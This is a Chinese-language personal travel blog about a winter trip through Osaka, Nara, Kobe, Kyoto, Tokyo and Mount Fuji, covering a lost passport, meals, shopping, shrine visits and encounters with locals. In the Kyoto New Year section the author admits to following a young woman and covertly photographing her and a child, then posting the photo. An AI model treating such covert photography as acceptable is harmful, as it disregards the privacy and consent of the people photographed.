感觉是不是日本人特别容易丢东西,感觉有一套非常完整的流程,但在国内,可能是因为我完全没有用过的原因,似乎不知道有这么个东西。地下铁站点应该共享一个 lost & found 系统,可以通过限定时间和物品类型来查询丢失物品以及对应的站点,同时,大阪这边的地下铁还有一个专门的丢失物品 line 频道,可以用于查询丢失的物品以及收取通知(甚至还用了 AI 来描述你的物品照片)。而 JR 那边好像也差不多,但是好像又不是一个系统。

由于马上末班车了,所以我没有再坐回机场寻找,而是在 難波 折返。毕竟要入住,所以当务之急是去警察署开丢失证明,然后期待有人能够找到,这样我就不用去大使馆花几百块钱报废我的护照了。

于是,作为一般游客,第一天就进了警察署。

780995d88a972f7bc1c738e21d4819b

他们有翻译器进行对话,但出乎意料的是,我居然百分之八十都听得懂。虽然回答只能用很简单的 はい、ない、そうです、いいえ 等,但是还是长了自信(并没有)。但由于遗失物品一般会在丢失处存放几天之后才会送去警察署,因此并没有什么希望能够在离开大阪前从警察署那边拿到,但还是填了很多信息,拿了一个表。

一堆搞完已经快两点了。于是我们一路往回走,途中在 24h 的 すきや 吃了一顿饭。我吃的是咖喱饭,感觉和国内,和吉野家一模一样,唯一的区别大概是上晚班的都是印度三哥在吉野家可能我会看到搞乐队的辍学女生

回到酒店,和前台聊了很久,最终使用护照照片办理了入住,前台还贴心的给我指出领事馆的位置(然后发现第二天是周末领事馆不开门)。于是大概在 4

左右,我进入了安眠(并不安眠),梦里,我梦到了警察给我打电话说我的护照在某个日本地名的站点下,而这个站点我完全没有在昨天见到过,又或是只是瞥到过,很神奇。

2、Day1 - 大阪

可惜梦就是梦,醒来看手机发现只有一个 Line 的消息告诉我 “在地下铁没找到哦,推荐你问问 JR”。于是我用 Google Voice 打电话给了机场(别问为什么,问就是托梦)。

幸运的是,机场的人查到了我的信息,并且表示我的护照丢在机场了,可以去拿。于是护照问题解决了,我终于不用黑在日本了(悲

耗时三个小时,我又回到了 難波。并和家人们在 edion 总店相遇。我们逛了 edion 总店,并且什么都没买,但是我在顶楼吃了个拉面,怪好吃的。(和海)

于是我们继续逛,途中逛了各种中古店,在逛二次元店的时候,被店员当成小偷。

最终,我们去道顿一条街找吃的,最终选了一家昭和烤肉,WAGYU +PLUS,因为嫌麻烦,我们直接点了一个套餐,店员敲锣打鼓上菜,仔细计算之后,我们发现相比单点,这个敲锣打鼓可能值数千日元(悲)。于是第一顿饭,我就搞了个人均接近 300,但不得不说和牛确实嫩,好吃,写饿了。

bc7a06fc9c8c6aa80b97beec2fa4f0f

90e24201d6be39c0a33dde8779e36b8

吃完饭,我们继续逛街,见到了娃娃店,消耗了 50rmb 抓小熊维尼抱枕并落空,感觉比二次元游戏抽卡还费钱。

f75a4240be9dce8ddcdf5d12394caf3

我们还逛了纪念品店,分别买了仅中文说明的 No.1 商品和大阪恋人巧克力。

然后我们去 HEP FIVE 搞摩天轮,四个男的坐摩天轮。

image-20250119220756445

回到酒店后,我研究许久,并进行了初次泡汤的尝试,并在数分钟后昏厥。

3、Day2 - 奈良

进行看鹿。乘坐 JR 一路坐到奈良就可以了。第一件事是买星巴克,因为我在 JR 上睡成傻逼了。

奈良冷飞起来了,群友的秋裤还没干,直接冻成哈皮,于是临时决定晚上进行商品的购买。

我们直接进入了一个寺院,从谷歌地图上看的,所以没有多少游客。途中,我们拍摄了照片,成像效果接近宝可梦道馆训练家结算画面。

然后我们进入了 氷室,这个好像是挺特色的,可以用冰占卜,但是我没有硬币,于是放弃了。

我们继续研究,前往东大寺,并试图找到奈良公园。在东大寺里,我与鹿进行了亲密互动(指互相鞠躬数十次),并且投喂了他们鹿饼,我想要蹭鹿乃子的热度,但是想到现在十月新番都要结束了我还在蹭,怕被日本人当二次元小鬼,于是作罢。

4f7bc8cab541941ecbbec7ea94ef239

走饿了,我们找到了一家乌冬面馆,本做好了在景区被宰的准备,但是价格意外的非常合理。我进行了乌冬面的尝试,只可惜他的翻译有问题,说的是年糕,但其实是类似于爆米花那种东西,这个不好吃,面倒是挺香,我把汤也炫完了,又饿了。

路上遇到了若草山,可惜关闭了。事后才知道可以从侧边上山,惋惜。

最终,在找寻奈良公园的过程中,我们进入了春日大社,并突然意识到我们一直在奈良公园里找奈良公园。我想要祈求姻缘,但是被群友制止了,似乎那个神社是情侣求幸福的,不适合我这种单身人士,于是我又一次错过了水占卜。

最后,秉持着来都来的心态,我买了白鹿御守。我内心其实还是很想买姻缘御守,但是没有硬币买不了。

怀着遗憾的心情,我进入了休息站,并品尝了它的免费茶,香,但是又不是很香,就像我的人生一般,不如普洱茶。

下午,我们去到了梅田商圈。经过几天日本人的熏陶,我觉得我已经充分汲取了日本人时尚穿搭,想要进行尝试。可惜,我被价格打败了。什么 BEAMS,BRITISHMADE 之类的潮牌我是一个也买不起。看户外的北面啥的,好像好货很多,但是我也用不上,也买不起。

纠结良久,我最终选择了一家 LAKOLE,算是很平价的,这衣服做工也确实一般。但是至少款式在的,而且放在国内也没有无印良品和优衣库那样泛滥,可以显得我是小众进口服装拥有者,更别提它还免税。我消费了 2w 日元,买了一个 montbell 的塑料包包,以及一套衣服 + 围巾,其中塑料包包占 1/3 的钱,潮牌真可怕。

我们拍了一个多小时的队,吃了个烧鸟连锁品牌 三代目 鳥メロ。但是我个人不咋喜欢吃烧鸟,感觉味道一般,不过价格相对便宜一些,人均 2200yen 左右。

4、Day3 - 神户

进行神户牛肉的尝试。我原本在 tabelog 上看到了一家既有平价黑毛和牛又有神户牛的店,并且价格在 600rmb 左右非常划算(相对来说)。但是当我们抵达神户时,店铺还未开门,通过地图我们得知,需要 1h30min 的步行时间,这正巧碰上开业时间,于是我们进行彳亍。

神户的街景并不算特别,感觉就是县的那种感觉,我们从大路走到了小道,因为感觉小道会更 “日本” 一些。但是因为到了年末,再加上并非吃饭时间,虽然街景是一般的日本乡下街景,但是店铺基本都关着门,有一种欣欣向荣的潜力。我们边聊边走路,挺有意思。

当我们准备到的时候,我突然发现那天是周二,而周二那家店不开门,于是我紧急学习了日本餐厅预约用语,在 tabelog 上找了很多个餐厅都爆满之后,终于在我们的起点 —— 三宫站找到一家可以 walkin 的店。怀着对 1h30min 锻炼的敬畏之心,我们坐 JR 回去了。

进店之后,我立马听到了隔壁桌的中文,一度以为相见是缘。我对着菜单一筹莫展。一堆神户片假名肉,除了价格我根本不知道有什么区别。最终,我选定了一个对比款(加起来 250g),花了我 8000 日元,这也是我 22 年人生里吃过最贵的一顿饭。

店员看到我们拿着相机,直接把生肉摆上来给我们拍照。我以为是什么必须的仪式,于是拍了。

DSC07083

拍完之后,我猛然发现旁边有一个 “大众点评” 的标志,于是我怀着敬畏之心打开了评价,发现这个拍照环节是它看你是游客没见过世面专门摆上来给你拍照用于装逼的,我的心瞬间凉了半截,也突然能理解为什么里面有三桌(包括我们)中国人了,据说以前还会抬那个匾过来,现在看起来是收敛了一些。

经过漫长的等待,终于肉是上来了。我看着这个红色,脑子里疯狂地回忆我究竟有没有选择熟度,但是并无搜索结果。

DSC07085

我虽然没有吃过这么生的牛排,但我也得装出美食品鉴家的感觉,挑起一块细细品尝。该说不说确实不一样,但是我不知道究竟是因为熟度不高还是因为肉品质高 —— 具体而言,就是肉比较嫩,说专业点叫入口即化,一抿就开。

我天天吃土狗食物的,吃不了这种细糠。我有点后悔选择了总共 250g 的套餐,我觉得 200g 绰绰有余了,因为最后几坨肉我几乎是忍着吐意在吃 —— 生的吃起来太腻了,如果不是这么一小坨就 30 块钱,我绝对润了。

吃完饭,我们原定下午的计划是去泡太阁之汤,但是聊着聊着好像就不太想去了,就决定分头行动(大概是因为太远了不想去?加上公共浴池有人介意)。我原本计划圣地巡礼,但是在 anitabi 上看了一眼,发现神户没啥特别喜欢的番,就五等分和 fate,于是作罢,开始根据 iNtuition 来操作。我直接随手搭了一个 JR,发现有一站叫做 “舞子”,就决定前往。前往的路上,我看到了须磨的海,我觉得太炫酷了,想着待会玩完就去须磨爽拍,就放弃了在 JR 上拍。

简单在谷歌地图上查了一下,发现舞子旁边有一个舞子公园,于是我前往,走在天桥上我就被爽到了。

DSC07091

没有啥计划,我就沿着河岸走,走到了一个地方,有几个人在拍照,于是我也去凑了个热闹,确实是有说法的这个机位。

20241230-DSC07105

简单拍了几张,我就坐着河畔旁边吹海风。周围走来一些本地人,领着孩子玩耍,我觉得很有趣,也拍了几张。我觉得这种坐着看别人比自己逛景点更有意思。

DSC07120

待了半个小时,我觉得我也应该来一张,不然我一直背着三脚架就太蠢了,拍出来该说不说还是有点那种孤独症患者的感觉的。

20241230-DSC07143

拾完装备,我觉得也差不多时间去须磨了。于是我拿着相机,横跨舞子公园,向 JR 站走去。过程中,我见到了一对夫妻在遛狗,抱着街头摄影的想法,我举起了相机,因为我眼睛里有一个很美的构图(现在想想感觉有点冒犯,感觉日本人应该很在意这方面的隐私)。

出乎意料的,老人和我搭话,「欸你在拍这家伙吗,拍到了吗」,我说「拍到了拍到了,非常帅气,不是帅气应该说可爱的狗狗」,爷爷和奶奶在那笑,说「是吧,别看它这样它已经 17 岁了」「是吗,非常元气看起来」,我大概也是意识到我就只能蹦点单词,最多来几个短语,于是主动提到我是来这里观光的,所以不太会说日语。

感觉日本人情绪价值给的太足了,说「真的吗?太厉害了!日语说的非常不错」,又问我「你从哪里来?已经游览了哪些地方?要在这待几天吗」?出乎意料的我还真能回答上,于是奶奶又说「真的好厉害!啊要游览这么多地方吗?」因为不会回答了,所以我打哈哈,然后又说「我很享受日本的生活,所以才在这里拍照」。他们的神情和每一句话我都记得很清楚,我们又接着聊了很多东西,关于舞子公园,关于他们,关于狗狗。我半吊子的日语就基本就是蹦单词出来,蹦不出来的时候奶奶也会及时挑几个候选问我,不知不觉竟然也把这个对话进行下去了。

我记忆最深的是,奶奶说了一句「爷爷,这个小伙子长得很帅气呢」,这是我第一次被这么夸,感谢口罩。

这其实是我这次旅游里记忆最深的一个片段 —— 我旅游真的很享受这种和当地人,和不认识的游客突然聊一聊的体验,哪怕以后我们再也没有机会见面,这种交流总是能够藏于我的内心深处。

结束对话后,我轻快地向 JR 站走去,然后才发现几把焦点对草地上了,既没对人,也没对狗,g,只留下一张拍之前的偷拍视角。

DSC07144

坐着车,我突然发现我眼镜没了,哈哈。

我仔细回忆,应该是当时拍孤独症患者照片的生活脱了,然后就再也没见过。

于是我又返程坐回去,毫无疑问的被卡了,出入站都是一个地方,等我回到我拍照的地方,早已人去楼空。

于是小红书启动,开始查询配眼镜攻略,紧急前往神户 owndays 配眼镜。原定是想要去须磨,然后再去神户三宫那边碰巧看到的一个神社的,但是因为这个事情全部打乱了。

所以又一转商城然后配镜片了,确实便宜,两幅配了 700 多,比国内便宜多了。但日本人不喜欢配到 1.0,所以我这个带着其实没有特别看得清。

配完慢悠悠大阪,不知道为什么我躺床上直接死掉了,睡到十点多起来,晕乎乎拿起手机在群里问我室友人呢,然后继续睡死过去到第二天,连衣服也没脱就睡了。

dcea12262f35eba0374294544b696f3

267b1a7489cc613ec7fb58d6640ccaf

5、Day4 - 京都

终于到了我最爱的京都,今天是 12/31,所以我原定计划是来京都跨年(因为京都神社多,应该能初詣)

早上公式化逛清水寺,啥照片没拍,因为全是游客(幸存者效应,我感觉 70% 都是中国人),还要门票才能进去,不咋喜欢。

倒是偷拍了一家人,听着像是东南亚那边的人,这个小妹妹穿和服还是挺可爱的所以偷拍了。

DSC07169

往下走就公式化逛纪念品商店。我买了个抹茶饼干,不好吃。

下午我们决定去逛伏见稻荷大社,说实话逛完清水我其实有点不想去了,因为伏见稻荷是和清水一样的小红书网红景点,但想到 HELLO WORLD 里有过千本鸟居的镜头,所以我还是决定去看一看。

我该说这是最正确的决定。事实上一开始到伏见稻荷确实很多人,那个鸟居根本拍不了一点,但当我们走到大社的时候,突然开始下雨了。这个我听过「恵の雨」的说法,说参拜的时候下雨是说明神明听到你的想法了。也有人说雨是阴所以不吉利,不应该再参拜,众说纷纭各执一词。

但可以肯定是,这个雨冲刷走了游客群,又或者本来就没有那么多人想要爬稻荷山 —— 拍了神社,拍了千本鸟居,伴手礼一买,打卡完成。

于是冒着小雨,我们开始爬稻荷山。记得我们是下午来的吗?到了观景点的时候,雨过天晴,正值黄昏之时。我也有幸见到并拍摄到了我人生中看到最好看的几个夕阳。

DSC07228

20241231-DSC07273

当我们上到山顶的时候,天色将黑了,但我觉得这才是最享受的地方。

20241231-DSC07264

20241231-DSC07256

我爱死它了。等到我们下了山,迎接我们的就是小吃摊了,正值新年的最后一天,(大概)小食摊也比原本更加热闹了。

我买了一个 700 日元的炸団子,团子本身很好吃,又糯又香,但是我不太喜欢它的酱。

吃小吃显然吃不饱,所以我们兜兜转转又回到了京都站,然后发现 12/31 京都站下面几个都不开(悲,我们此时也对接下来的计划有了不同的看法。

一队人不想在京都跨年,因为京都最火爆的跨年项目 —— 敲钟要排几个小时的队,甚至于在那个时候我们就应该开排了。

而另一队人则秉持着来都来了的信念,决定再去研究一下。

于是留在京都跨年的我,找到了一个地方能够吃饭,也是类似美食一条街那样的,只不过那天人格外的多。

我又炫了个和牛汉堡,花了快 150

e7c5eb49226ada1c2d706180704e77f

吃完之后,我对于接下来要去哪里还是有一些疑虑。于是我又霍霍了坐在我旁边的日本人小情侣,他们说他们跨年就在家里躺着看红白吃荞麦面,不懂这些东西,但还是热心的帮我查了一下。

于是我们决定去八坂神社进行烧绳。结果公交坐反了,当我们下车的时候,一个老外在那说 this fucking bus,我们就知道,哈哈,我们并不孤独。一个神秘的会话条件又达成了。

这是一个波兰人,他独自来日本游历,已经坐错了两次这个车了。他带领我们,上了正确的车(然后我们下早了,又花了一次钱,还把座位干没了)和他聊天的内容我有些记不清了,我们提到了波兰的一个交响乐队(大概),以及中国的一些事情。

折腾很久,终于到了八坂神社。一根垃圾绳子 35 人民币,咬牙买了,然后烧了。

20b6ec6ca54c1876091fc44a5efe725

烧完之后(其实并没有烧完),我又开始逛小吃摊,并且购买了苹果糖和甜酒。加了生姜的甜酒确实很暖和,我们也真是走不动了,所以窝在摊位上抱着暖炉取火。

中间,因为旁边坐的是国人,所以我问了她们的跨年计划。听说她们待会就去听敲钟,我才发现敲钟的那个寺庙就在我们旁边,属于是得来全不费功夫了。

时间还早,我们又在街边逛了一下,原本想找个居酒屋消磨一下时间,但是都关门了。等我们走到一家开门的地方,也快敲钟了,加上那个居酒屋所有地方都只写了英文,感觉和日本人没关系,所以也没去。

队真得排了一公里,我们随机找了一个在门口的老外询问,他告诉我们已经排了 3 个小时了,我们祝愿他 “Good Luck”。敲钟时间已过,但是我们什么都没听到,于是我赶紧上小红书看实时战报,这才知道门进去才是开始,里面还要排,排到另一个门 —— 既然这个门外啥都听不到,那还要排多久也是有点逼数了,我们庆幸我们没排,但也有点小失望。

于是我们当场决定转战隔壁的另一个寺庙,它是通过发放券的方式,一组人一组人自己去撞钟,尽管时间已经过了,我觉得我们也赶不上券了,但是寻思着估计还能听两声响。走着走着,我却听到了钟响,起初并不确定,但当我们往八坂里面走的时候,钟声反而清晰了。我这才发现我们走的地方正好是寺庙出口,反而在这里可以爽听,于是我们又爽听了几声。

接着,我们又前往八坂神社了 —— 它会关一个小时清理游客,防止踩踏事件,然后从新年零点开始进行初詣活动到五点 —— 这在我们来之前都不清楚,直到看到公告牌上的告示我才知道有这回事。

此时距离零点还有半个小时,我觉得我们打了一个提前量,非常的安逸。但是当我们看到街上各种警察维护秩序的时候,我就知道完了。

6b2f5feaa3e656d949e9e0068e35c0b

这是我们到的时候的位置,目测距离神社大门 300m。看着乌漆嘛黑的人头,感觉是准备苦战了。

值得一提的是,我前面站了一个关西腔的妹妹(但是感觉其实应该是大学生了?),虽然带着口罩,但是我感觉长得很好看,她应该是和她的妈妈和妹妹一起来的。我爽爽尾随她们,听妹妹讲关西腔,太好听了。直到零点倒数记录的时候,我还顺手偷拍了一下这个妹妹,属于是非常下头了,可惜后面跟丢了。一眼万年了,虽然非常不礼貌,但是还是摆上来,侵删。

image-20250120003016566

零点倒数真的很有氛围,大家用日语倒数,然后等 「一」 结束后,大家一起欢呼,几个兄弟端着啤酒开始转圈跳舞,隔壁酒店的窗帘纷纷拉开,闪着手电,大家也纷纷以手电回应 —— 我真的觉得特别好,在我们旁边的既有关西腔的本地人,也有讲标准日本语的不知道是不是本地人,又有韩国人,又有中国人,还有统称的老外。即使文化不同,语言不通,但大家都在为同一件事庆祝,哪怕大家在人生之中只会有这么一次一面之缘。

image-20250120002952015

在排队过程中,我又开始和老外聊天。

这次逮到的一对老外是法国人,他们单纯看人多就过来凑热闹了,并不清楚这是什么活动。这对老外的旅游态度就非常随心所欲,在交谈过程中,他还给我们展示了他收集的不同语言的脏话卡片,已经有繁体的中文了。可惜我当时没有纸币,不然我必将把日语和俄文的脏话传承过去。值得注意的是,我们也交换了法语的骂人词汇。

我还和另一对关西母女咨询了一些初詣的事项,但显然我把什么东西搞错了(可能是我问的是祈愿而不是参拜?),妹妹和她妈妈讲了个悄悄话,然后在那笑,妈妈笑着打她,感觉日本人太坏了。

到了两点半,终于也是排到我们了。我参拜,并向神明祈愿能够找一个关西腔的日本人女朋友。随后我进行了抽签,抽到了吉,开心的我又花了 1000 日元给姻缘签也爆了个金币,也抽到了吉,其他的就看不懂了,只看懂幸运物是信,大概意味着我要给关西樱花妹写信,非常清晰的思路。

402c297dfe62f1ebd6cb4af0904f0f2

08020c511c4a2406ed101c8d2496b3c

排了这么久的队,又饿了,我吃了鲷焼き。我对鲷鱼烧有非常大的执念,因为我第一部电脑上主动看的番是 ToLove,而我最喜欢的是金色暗影,她喜欢吃鲷鱼烧。(别问我为什么有人第一部番看的是出包王女,问就是小学生比较厉害)

其实门口还有一种按生日来的签,但是我 2024/12/31 的时候已经买过了,写的基本上就是模模糊糊的让你觉得“确实确实”的那种签,我觉得新年再买就是纯种大野猪了。

得益于 2025/01/01 大阪 JR 的通宵运营,我们在五点钟终于回到了酒店,然后睡成了死猪。

6、Day5 - 大阪

上文说到我们兵分两路,他们今天又去了京都,去比叡山延曆寺去徒步和初詣,有人连抽两个凶,看着就是出门就要被车创死。

而我们就一觉睡到下午了,思考良久,我又去梅田友都八喜了,因为它不关门。

我真在那逛了一下午,基本上就耗在 TNF 那看打折品。现在回想起来太后悔了,早知道我去猛犸象那边搞个 macun2.0,或者去其他几个牌子多看看买两件。最后我就买了个日本大师指甲刀,甚至没凑够免税。

晚上又草草吃了一顿,算是草草结束了我们的关西之旅。

晚上买新干线,发现没指定席了。我和他们说明天再买即可,但是他们很急害怕去不了,我说那你真害怕你定自由席吧,大不了站两个小时。我看 klook 明明是有指定席的,但是他们看官网也提示没位置。我猜想会不会是 klook 是留了票,所以也订了一张,结果刚定系统就下班了,要第二天才出结果。我还没用优惠券,所以提交了退款申请,又订了一张指定席。

7、Day6 - 东京

结果第二天,我们收到了六张新干线的票。

自由席他们定的那个网站不赔服务费,退票线下窗口也要给手续费。

而今天果然指定席也能定了,所以我 klook 服务费也白交了,没用优惠券那个也没退掉,现在退要交服务费和手续费,一算下来总共亏 600 多。

我寻思我昨天就申请退款了,他自己说没出票之前退票免费,现在是你们没处理退款先处理出票了,凭什么让我交这个钱呢?于是我就找客服白扯,掰扯了半天,客服说 “那服务费以代金券的方式发送你看能接受吗,如果接受你就提交退款申请”。我思来想去觉得算了也行吧,于是提交了退款申请,结果他告诉我已经超过最后退款时限,哈哈。

别管中间发生了什么吧,最后结果就是我们退了 4 张自由席,亏了几百块钱,四个人还分开坐了。幸运的是我 klook 用了优惠券那张是富士山座位,也就是说我能爽拍富士山。

并非爽拍。等我到了富士山区域的时候,我发现我相机怎么也打不开了。我以为是相机坏了,在那开关半天,后来意识到可能是没电,沟槽的酒店 Type-C 没有充电进去,于是又去翻找充电宝。等万事具备开机调参结束,基本上富士山已经在我左边了,我赶忙拍了一张,再也看不见富士山了。

回来发现焦点在电线上。

e75dcfb69360e69fdc9a896da3f1a9d

但是没事,因为我们还有富士山一日游。

有一说一新干线也就那样,不如高铁。原本还说那至少噪音方面碾压吧,我那个车厢一个小孩从车头哭到车尾,无敌了,完全不如高铁,但是它有全程 WiFi,这还行。

上面提到,我们四个人车厢不同,所以下了车之后我们根本找不到对方,跟平行宇宙一样。

2b2161b79ad15e4eb32446644a0f591

最终,我们决定分头前往住所,但显然初来东京的大家都被东京地铁和 JR 整的晕头转向了。

我的路线有两个挑战,一个是不换乘换线,另一个是准急换各停。我在第一个挑战卡了一下,下车了,然后发现找不到,于是绕了一圈去了另一个线路,反倒是把第二个准急换各停的挑战规避了。

最后我第一个到达,在等待他们的时候,我勤学苦练谷歌地图标识,为后几天成为电车大王埋下伏笔。

86a1203b5f7f189793d62b6a3fd31dd

bfb5ce99cf0b8d8f98c7e9c9f96892d

我们前往了民宿,房东 Yoshi 桑还给我们准备了茶和 KITKAT。茶的饮料我闭口不谈了,KITKAT 确实比我在京都买的那个抹茶曲奇好吃。

简单整顿后,我们前往了秋叶原,并且点了一个烤肉放题。

这个烤肉放题有一说一还是有点亏的,我直接点了 4 个,但是它那是 300yen 一个菜,也就是说我们相当于每个人至少要吃 10 个菜才能和放题价格相当。但是还是吃了,味道也还行,我最后狂炫番茄。

接着我们继续前往秋叶原,并且前往了小绿楼。我们在小绿楼进行了细致的鉴赏,最终四个人购买了大量物品。

8、Day7 - 秋叶原 / 新宿 / 千叶

好吧,又是展现我 iNtuition 的一天,原本的计划是逛秋叶原的。我原本以为我会这样:「卧槽秋叶原太好逛了,一天根本逛不够啊」,但其实我去了 animate,radio 之类的店,也就纯只看不买,发现那些热门我根本不喜欢,结果最后就只买了个 25 块钱的 GBC 沙包(?)盲盒,开出来了键盘手。

于是到了下午饭点左右,还是对上次北面的怨念太深,于是我直接跑新宿逛商场去了。结果在 alpen 买北面的时候,看到了象的羽绒服新年 30%off,正好是我的码,再加上 5% 的优惠券和免税,算下来 1600 块钱。我在淘宝一搜,3100,于是直接入手了。买完之后,我想了很久为什么我要买,因为虽然性能算得上顶级,但其实一开始我的需求是一件超轻的羽绒再加冲锋衣的,完全没必要搞个性能高的羽绒服。

但是从今天的角度来看,我觉得这个钱确实花得值,这件真的好穿,但是如果没有那个机会我肯定不会买了,因为从性价比层面来说还是有更好的选择。

但买都买了,那咋办呢,继续逛吧,买件冲锋衣。我去 montbell 的专卖店,发现它并不免税,算下来和淘宝差不多一个价,于是放弃了,结果到了 L-Breath,发现它也有相同的款式,再加上 5% 优惠券和免税,又是赚一两百块的,所以我又买了。买完之后,我想了很久为什么我要买,因为我宿舍已经有一件 MH500 了,尽管它的手腕处被 502 黏住了变得梆硬。

从今天的角度来看,我也没穿几次这个硬壳,真的值吗?

怀着乱花钱的愧疚之心,我拨通了在日留子的电话,于是我前往了千叶站。

没想到我被带去吃了一家麻辣烫,全中文交流,我大受震撼。

吃完之后我被带回了家,一进家门我就泪目了,回来了,都回来了,我看日漫里的公寓房型和这个一模一样,简直比我宿舍还亲切。

写不动了,略过一下。我们去唐吉可德买了东西,去7/11鉴赏阿三店员,喝酒,看胆大党,睡觉。

9、Day8 - 千叶 / 涩谷

今日我和在日留子逛了很多谷店,最终在千叶的 animate 买到了我心心念念的 luna say maybe 专辑,还在 kbooks 收到了两张 OOR 的专辑,加起来才 30 块钱,相当于白送。

同时,我还在 kbooks 收到了大头小羊,算下来 25 块钱,淘宝 90 块钱,相当于白送。

都回来了,漂泊的意义找回来了,这可比秋叶原好逛多了,原来我还是二次元。

然后我去了涩谷,我又去逛店了。涩谷有一家 montbell 的专卖店,免税,还有 5% off,是不是很熟悉?反正就又去了,一开始我只想买一个狗包 —— 用来装狗屎的包,但它兼具了美观性、防水性、轻便性、以及大空间多分层种种特点,原价三百快四百的价格让人望而却步,但经过免税和打折操作下来只要两百多一点,相比我在大阪买的那个塑料包包赚多了。后来我发现有配套的冲锋裤,一边思考有没有必要,但是关门的铃声催促的紧,于是我连试都没试,就稀里糊涂又买了冲锋裤(悲

从今天的角度来看,我也没穿几次这个硬壳,真的值吗?

但是狗包是真的值,我以后出去不背电脑就一定只背狗包。

所以其实在东京几乎就是啥都没干,纯购物来了。不过也有好消息,就是喊在日留子帮忙搞了个日本手机号注册了 Line

10、Day9 - 富士山

终于开始旅游了,我也算是给我的冲锋衣冲锋裤找了个理由,想到了富士山骑行。但是他们三个一开始都不想骑,因为冷,所以我又单独行动了。

他们的计划应该是四大湖都逛了,但是我骑车就只能选一个湖了,显然选择了河口湖。

富士山景色是真的好看,我基本上走一段路就要停下来拍照。到了有一个地方,我觉得景色不错,于是开始架设三脚架之类的,各种调试。等我调好了,突然刷新了两个中国人,直接走到了我的镜头面前开始拍照,我等了三分钟,他们还在拍,但是开始拍视频了。我思考良久,决定跑路。

骑了一段路,出现了一个岔路。我看到路标上写的河口浅间神社,就又跑进去了。这个神社虽然也算是一个景点,但是人很少,最重要的是没有中国人 —— 我是真的很不喜欢出国旅游然后景点全是中国人的地方,就好像我去了一个有日本人的中国一样。

DSC07382

惯例的,我进入神社参拜,并且抽取了运势签,这次是大吉,我觉得今天这个旅程本身就是大吉 —— 尽管我已经经历了 “不会锁车,以为车锁坏了”、“没现金不让租单车” 以及 “照相点位被抢占” 等插曲。

抽到这个大吉让我更加幸福我能随机遇到什么,于是我开始漫无目的的乱走,虽然还是勉强算是沿着湖,但是基本上是有岔路就去,有小路就看。

我找到了一条小溪,也进入了一个钓鱼地(还在沙地陷车了),又找到了当地人供奉的几尊神像。

我找到了某个隐秘的湖边小店,它卖着自家的酵母菌烘焙的面包。我买了一袋抹茶做的小面包,又买了个推荐的酵母菌面包。抹茶小面包倒是非常好吃,但是酵母菌面包就只能说欣赏不来了,可能是放到晚上吃的缘故。抛开价格和味道不谈,它家小店的装修风格就和我想象中的女巫湖边小屋一样。

我还去了某个隐秘的村庄小摊,卖乌冬面的奶奶不会讲英语,也不懂 Paypay 怎么看是否成功支付。所以她给子女打了电话,让子女给她指导。当得知我上面那个 30 块钱是人民币,而下面显示的金额才是日元时,她给我了两包巧克力豆,对我说「对不起噢,奶奶笨笨的什么都不懂」,当我吃完准备离开时,她笑着朝我招手让我「路上小心」,告诉我「下次有机会再来」,但我下次再来的时候,或许也不会知道我是怎么绕进去,又是怎么找到她的小车的了。

我还在一个山坡上看到一个供奉处,它正对着富士山,显得特别有意境。

但最有意境的又得当属某一个我不知道怎么绕进去的神社了。应该是新年的原因,神社没有人,供奉的水池也被蓝布罩上,尽管神社正门就有一条小溪,和夕阳相衬显得非常美好。

DSC07491

但当你进入鸟居的那一刻一切都不一样了。阳光被高大的树全部遮挡,乌鸦在右边啼叫,而左边则是蝙蝠的叫声和挥动翅膀的声音。

我寻思我也是什么神社都敢拜,硬是壮着胆子进去参拜并且许愿了,但我总感觉这个神社最神秘,说不定真有什么说法,哈哈。

其实河口湖骑行过程中,有大半时间是看不到富士山的,但我上面提到的这些,虽然没有具体的印象了,却有大半都是在看不见富士山的过程中探索到的 —— 记得我出发的时候,路边骑行的人可以串成一串,可到看不到富士山的地方,一路上我只遇到了不超过 6 个骑行客,而对我来说,相比于景点,我更喜欢这种探索到只属于自己的宝藏的过程。

我还坐了缆车上山,这应该是一个常规景点了,但我上去的时候已经快末班了,所以其实人也不是很多,上去景色真的很美,我也是进行了一波街头摄影,也抓到了一张算是人生照片的照片,感觉非常有感觉。

20250105-DSC07513

房东 Yoshi 桑给我们推荐了住宿旁边的一家本地人餐馆,据说是吃烤鱼和刺身之类的,但非常不巧它直到 1/10 都不开业。于是,我们又变成兵分两路:一队 711 买便当,一队逮到街边开着的居酒屋就进。

一进门,全场目光向我们看齐。我认为我们民宿所在的地方就像一个村庄,村里的所有人都认识,也都心照不宣地会前往同一个居酒屋聊天喝酒 —— 至少在我们坐下到离开的阶段内,所有进来的人都和其他已落座的人认识,这也难怪他们看到一双新面孔时候的新奇表情了。

我点了一个酒,名字我给忘了,反正不是嗨棒也不是sake,记得看着像是日本清酒或者烧酒之类的。反正一点酒味都没有,但也确实便宜,350 yen 一大杯。

我们还点了一个牛排,一个烤饺子,一个面。牛排上的还算快,但烤饺子和面迟迟没见动静。看着新来的顾客,虽然不点吃的,但是店员这里聊一下天,那里喝一口酒,我还是忍不住和他「私密马森」起来。于是,肉耳可闻的,他在三分钟里炸了两个菜 —— 在前三十分钟里,我都没听见任何炸饺子的滋滋声。

回到民宿,我们的身上一股居酒屋的混合味道,我们只能直呼 日本人太坏了。

11、Day10 - 涩谷

买东西。我真有点懒得讲了。

首先是帮人买 LV,这是我第一次进这类奢侈品店,实在是无所适从。帅男人来用日语问我需要什么,我想说领带,但是我突然忘了日语怎么说,最关键是英语也忘了,我记得 tie 不能直接用,就在那呃呃呃。他又换成英语问了我一遍我有什么能帮你的吗,我话卡在嘴边说不出,只能拿手在脖子那边画,不知道的还以为我脖子被绳子套上了。

他立刻心领神会,用中文问 “需要领带是吗?” 我对他判断中国人的标准起了疑,但是还是用中文回复是的,我想要挑选一下,您能为我展示一下吗?

他麻利的把抽屉打开,展示出所有的领带,并问我您需要哪款呢?问题我是帮人家买的,我根本不知道他们要啥,所以我就只能说我看看,但是实则拿着手机在那拍照。导购就在旁边盯着我拍照,确实是有点难顶。

选定之后他开始给我包装,我就游走于周边视察,我原本以为一个包包 10000 日元好像也不算贵,后面才发现并不是写了小数,而是 1000000 日元,哎我操,它的税都能买一个我了,实在是太疯狂。但该说不说最后它包装啥的也确实精致,就连收据也用那种类似明信片的 LV 包装给我包着,几千块钱买个领带仪式感确实是有的。

我还是对北面有执念,思来想去还是来涩谷北面一条街淘一个紫标装装逼吧,但是逛来逛去还是没有喜欢的,最经典的那个没打折,算下来比淘宝代购还贵,就一直没买。然后我又跑代官山总店了。它那打折的确实多,选来选去在风衣和灯笼裤里面选,最终选了个加绒的裤子,30% 折扣,算下来也 1000 多人民币。

